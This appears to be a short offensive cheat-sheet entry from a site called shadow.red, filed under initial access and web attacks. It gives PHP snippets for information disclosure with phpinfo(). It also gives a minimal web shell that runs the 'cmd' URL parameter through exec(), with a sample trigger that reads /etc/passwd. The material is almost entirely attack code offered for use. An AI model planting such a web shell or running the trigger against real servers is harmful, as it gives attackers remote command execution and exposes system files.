>_ shadow.red

PHP Info Disclosure

Initial Access Web Attacks linux

phpinfo() snippet

<?php
phpinfo();
?>

Settings worth checking after phpinfo()

Inline command execution snippet

<?php
echo exec("id;whoami;date");
?>

Parameterized RCE snippet

<?php
echo exec($_GET['cmd']);
?>

Trigger with ....../test.php?cmd=cat /etc/passwd.